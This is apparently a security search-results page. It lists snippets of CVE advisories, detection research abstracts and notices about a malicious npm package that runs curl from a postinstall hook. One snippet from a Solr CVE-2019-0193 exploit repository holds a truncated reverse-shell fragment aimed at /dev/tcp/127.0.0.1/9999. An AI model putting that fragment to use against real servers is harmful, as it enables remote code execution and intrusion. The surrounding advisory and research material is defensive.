454 matches found
CVE-2026-108096
The AWS Amplify API Category contains an improper authorization vulnerability in the query resolvers generated by the @aws-amplify/graphql-index-transformer component. This flaw exists in versions prior to 3.1.2 and allows an authenticated remote user to read records owned by other users within t...
CVE-2019-0193
CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mysql"...
DCVD
project/ ├── train.py ├── dataloader.py ├── README.md ├── requirements.txt ├── models/ │ ├── controlpathway.py │ ├── semanticpathway.py │ ├── featurefusionmodule.py │ ├── transformerllmmodule.py │ └── multitaskpredictor.py डेटा और मॉडल स्रोत डेटासेट हम भेद्यता का पता लगाने के लिए LineVul डेटासेट ...
CVE-2019-0193-exp
CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...
Systematically Optimized CNN-Transformer with Focal Loss for Imbalanced Intrusion Detection on NSL-KDD
Intrusion Detection Systems IDS struggle with imbalanced datasets like NSL-KDD, especially in detecting rare R2L and U2R attacks. This work describes a systematically optimized and explainable framework using a CNN-Transformer architecture to improve performance on highly imbalanced data. We...
Certified Mechanistic Edits: Behavioral Guarantees for Skill Removal and Preservation
Mechanistic edits ablations, weight edits, activation steering are the standard tools for unlearning a harmful capability from a neural network while preserving useful ones. Current approaches validate their effects only by testing, which can never cover an entire continuous region of inputs. Pri...
DeBERTa-ConPara: Attack-Aware and Deployment-Realistic Detection of AI-Generated Text
Robust detection of AI-generated text under deployment conditions is challenging: distribution shifts across domains and generators, adversarial perturbations of the input surface, and the absence of target-domain labels for threshold calibration all degrade detectors that perform well in-domain...
Backdoor Containment Via Expert Quarantine and Shutdown in LLMs
Backdoored large language models LLMs can behave normally on benign inputs while producing attacker-specified outputs under hidden triggers. Existing defenses span four stages--prior-training, in-training, post-training, and inference-time--and share one of two underlying strategies: either...
Behavior-Centric Malware Classification with Fine-Grained Malicious Logic Localization
Effective malware analysis requires understanding not only whether a program is malicious, but also which behaviors it exhibits and where those behaviors originate in the code. Existing machine-learning-based malware detectors largely operate as black boxes, providing limited insight into the...
Malicious Package
Overview n8n-nodes-data-transformer-utils is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and...
Template Ageing and Longitudinal Verification in Fixed-Text Keystroke Dynamics: A Subject-Disjoint Study across Eight Weeks
Behavioural biometric templates are widely believed to degrade as the gap between enrolment and verification grows, but few studies measure this template ageing effect directly under controlled conditions. We collected a longitudinal dataset of 40 fixed passwords, each typed four times per weekly...
MAL-2026-16418 Malicious code in n8n-nodes-data-transformer-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 77b996187dc49e5591ddf3cef428be3a9309e7f5bab48bd4698aed2be0c3dfb0 The package's postinstall.js runs automatically on npm install and combines childprocess.execSync with http/https.request and multiple curl invocatio...
Malicious code in n8n-nodes-data-transformer-utils (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 77b996187dc49e5591ddf3cef428be3a9309e7f5bab48bd4698aed2be0c3dfb0 The package's postinstall.js runs automatically on npm install and combines childprocess.execSync with http/https.request and multiple curl invocatio...
Malicious Package
Overview n8n-nodes-data-transformer-utils is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and...
Solidity Meets LLMs: A Transformer-Based Approach to Smart Contract Vulnerability Detection
The growing adoption of blockchain technologies, particularly the Ethereum platform, has amplified the critical role of smart contracts in decentralized applications. However, the increasing complexity and financial value of these contracts make them prime targets for cyber attacks. In this work,...
NextGen Mirth Connect < 4.7.2 Multiple Vulnerabilities (ICSMA-26-253-01)
According to its self-reported version, the instance of NextGen Mirth Connect running on the remote web server is prior to 4.7.2. It is, therefore, affected by multiple vulnerabilities: - NextGen Connect Mirth Connect versions 4.7.1 and earlier allow an authenticated user to execute arbitrary SQL...
AURA: Adaptive Uncertainty-Routed Analysis for Email Threat Detection
Email spam and phishing attacks remain a critical security threat. Adversaries increasingly exploit large language models to craft contextually convincing malicious messages, and existing spam detection systems often struggle to keep pace. Generalization across diverse and evolving attack scenari...
CVE-2026-78224
The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks...
CVE-2026-78224 NextGen Healthcare Mirth Connect Improper Restriction of XML External Entity Reference
The XSLT Transformer Step builds a bare TransformerFactory without the proper security options set, so XXE injection can allow data exfiltration and denial-of-service attacks...
